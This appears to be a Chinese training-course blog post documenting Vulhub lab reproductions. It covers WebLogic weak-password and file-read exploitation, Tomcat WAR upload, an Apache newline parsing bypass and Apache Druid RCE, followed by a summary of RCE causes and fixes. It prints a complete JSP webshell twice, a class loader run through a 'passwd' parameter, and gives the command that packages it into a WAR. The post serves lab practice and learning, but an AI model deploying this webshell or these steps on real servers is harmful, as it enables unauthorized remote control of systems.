实训第八天

war

war是一个可以直接运行的web模块,通常用于网站,打成包部署到容器中。在Tomcat中,将war包放置在其\webapps\目录下,然后启动Tomcat,这个包就会自动解压,就相当于发布了。

War 木马文件包的制作方法:

准备一个 JSP 文件
使用命令制作成war文件 jar -cvf shell.war shell.jsp

<%!    class U extends ClassLoader {        U(ClassLoader c) {            super(c);        }        public Class g(byte[] b) {            return super.defineClass(b, 0, b.length);        }    }     public byte[] base64Decode(String str) throws Exception {        try {            Class clazz = Class.forName("sun.misc.BASE64Decoder");            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);        } catch (Exception e) {            Class clazz = Class.forName("java.util.Base64");            Object decoder = clazz.getMethod("getDecoder").invoke(null);            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);        }    }%><%    String cls = request.getParameter("passwd");    if (cls != null) {        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);    }%>

作业

  1. 在vps安装docker和docker-compose

  2. 上课涉及的vulhub中的漏洞,全部复现,同时说明漏洞成因

  3. 总结RCE漏洞的原理和利用条件及解决方案

1.在vps安装docker和docker-compose

安装好VPS

查看docker版本

docker仓库镜像配置

docker-compose安装

2.复现 vulhub中的漏洞,并说明成因

1.在VPS上搭建好vulhub

安装git

下载vulhub

进入 vulhub目录下的flask/ssti ,对当前环境进行编译

然后查看容器的端口

浏览器访问对应端口,得到如下网址,即证明连接成功

2.weblogic 弱口令/任意文件读取

进入weblogic下的weak_password目录,编译环境

访问网址

使用默认账密weblogic/Oracle@123进行弱口令登录,可以成功登录

访问任意文件下载漏洞,会获得一个文件

查看文件,文件内容如下

利用文件漏洞访问SerializedSystemIni.dat,抓取数据包,得到

利用文件漏洞访问config.xml文件,得到AES的加密串

进行解密,得到登录密码

准备上传文件

在之后的注中选择上载文件

上传war包

之后一致选择下一步,直到完成,然后保存

访问地址,网页存在

使用蚁剑进行连接,连接成功

3.tomcat 弱口令/后台文件上传getshell

编译环境

访问ip端口

准备jsp代码

<%! class U extends ClassLoader { U(ClassLoader c) { super©; } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName(“sun.misc.BASE64Decoder”); return (byte[]) clazz.getMethod(“decodeBuffer”, String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName(“java.util.Base64”); Object decoder = clazz.getMethod(“getDecoder”).invoke(null); return (byte[]) decoder.getClass().getMethod(“decode”, String.class).invoke(decoder, str); } }%><% String cls = request.getParameter(“passwd”); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); }%>

生成war包

上传

使用蚁剑进行连接,连接成功

4. 换行解析

连接网址

上传文件

抓取数据包

查看hex,在php后面插入一个\x0A

访问网址,使用蚁剑可以连接。

5.apache /druid RCE

编译靶场环境,查看端口

连接网址

抓包,发送到重放器

修改数据包,id指令执行成功

3.总结RCE漏洞的原理和利用条件及解决方案

RCE漏洞,即远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

原理

后台把用户的输入作为代码的一部分进行执行,从而控制整个后台服务器,也就造成了远程代码执行漏洞

利用条件

1、可以调用可执行系统命令的函数

2、用户能够控制这些函数的参数

3、网站没有对这些函数的参数进行严格过滤

解决方案

  • 对用户输入的内容进行严格的判断,避免直接使用用户输入来构造命令或代码。
  • 尽量保证应用程序运行在最低必要权限下,避免过高权限带来不必要的损失
  • 关闭不必要的服务和功能,及时更新和打补丁,减少潜在的漏洞。
  • 实施监控和日志记录机制,以便及时发现异常活动。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值